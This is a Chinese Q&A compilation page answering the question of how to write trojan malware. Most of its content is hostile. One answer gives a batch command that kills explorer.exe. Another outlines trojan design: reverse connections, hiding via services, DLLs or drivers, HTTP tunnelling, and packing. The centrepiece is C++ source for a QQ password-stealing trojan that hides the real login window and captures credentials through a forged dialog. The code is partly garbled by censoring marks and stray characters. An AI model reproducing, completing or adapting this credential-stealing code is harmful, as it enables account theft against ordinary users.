本文目录一览:
- 1、怎样编写木马病毒(菜鸟)
- 2、木马怎样 ***
- 3、怎么编写木马
- 4、要写一个简单的木马需要掌握哪些知识?
- 5、木马怎么编写?
- 6、木马程序怎么编写
怎样编写木马病毒(菜鸟)
您好
1, *** 编写木马病毒都是违法行为,不建议您去学习。
2,如果是您中了病毒的话,不要想用病毒去报复,您可以通过法律正当途径解决。
3,您还可以到腾讯电脑管家官网下载一个电脑管家。
4,电脑管家拥有16层实时防护功能和云智能预警系统,可以全方位保护电脑安全,并且,在木马活动早期侦测并阻断木马的破坏行为,通过云查杀技术秒杀最新流行木马。
如果还有其他疑问和问题,欢迎再次来电脑管家企业平台进行提问,我们将尽全力为您解答疑难
木马怎样 ***
楼主您好,最简单的 *** 就是在网上下载 *** 软件了,只要进行简单设置,点一下生成就做好了,再复杂一点的动手做一个有病毒代码的VBS,最复杂的就是学编程了,这样可以随心所欲的编写木马,但是最麻烦。
怎么编写木马
这个只是恶作剧程序,不是木马。
其实很简单嘛,只要终止explorer.exe进程就行了。
这都不需要编程,只要写个批处理就行。
把:taskkill
/f
/im
Explorer.exe写到一个文本文档里,然后把那个文档的后缀名由.txt改为.bat就行了。
要写一个简单的木马需要掌握哪些知识?
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧
2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端
3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,
4,木马的隐藏,这是更大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多
5加壳,就是加密木马,还可以减少木马体积.
这里主要说下木马主体的编写方式
以最简单的盗 *** 木马(阿拉 *** 大盗)为例.
1.中马之后,先替换掉TXPlatform.exe( *** 密码保护文件)后台监视系统.如发现 *** .exe,则监视 *** 两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被 *** .exe发现.还有就是如何才能取得 *** 文本框中的两个值.
附送一份N年前的 *** 盗号木马源程...仅做研究,这个是N年前的,用的不是我上面提到的 *** ,用的是把 *** 的输入框替换为假的,然后密码自然而然的被木马给知道了.
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = C★reateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找 *** 登录窗口
void *** Find()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
c★har sTitle[255];
CString ss;
DWORD *** PID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, *** PID);
//根据PID获得进程名
processIdToName(sTitle, *** PID);
ss = sTitle;
ss.MakeLower();
//判断是否 ***
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//获得标题文字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find(" *** ", 0);
int m = ss.Find("登录", 0);
if(n = 0 || m = 0)
{
//查找 *** 登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得 *** 登陆按钮窗口位置
GetWindowRect(ButtonLogin, g_qqLogin);
//查找 *** 取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得 *** 取消按钮窗口位置
GetWindowRect(ButtonCancel, g_qqCancel);
//查找 *** 密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得 *** 密码输入框窗口位置
GetWindowRect(qqPass_hWnd, g_qqPassRt);
}
//查找 *** 号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得 *** 号码输入框窗口位置
GetWindowRect(qqID_hWnd, g_qqIDRt);
//获得当前默认 *** 号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待 *** 窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(g_DlgRt);
//设置 *** 窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置 *** 窗口为可见
ShowWindow(g_hWnd, SW_SHOW);
//把 *** 号码和密码填到真正的 *** 登录窗口上,并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
D★eleteObject(g_pBitmap);
//设置标志退出循环
find = true;
}
}
while(find == FALSE);
}
木马怎么编写?
回答的太搞笑了,首先说一下,VC它不是编程语言,说到木马就会想到黑客,木马首先必须是由服务器端与客户端组成的,要不然不叫木马了,我就用C++给你试一下怎么编写一个简单的木马吧,即服务端与客户端,
首先曾加4个VCL控件吧,
拉倒,这样说麻烦,你不如在电脑上下载VC开发工具,我远程给你示范一下好了。
木马程序怎么编写
要想编写木马程序,你首先知道你自己的IP地址是多少,然后可以让木马自动连接你的电脑。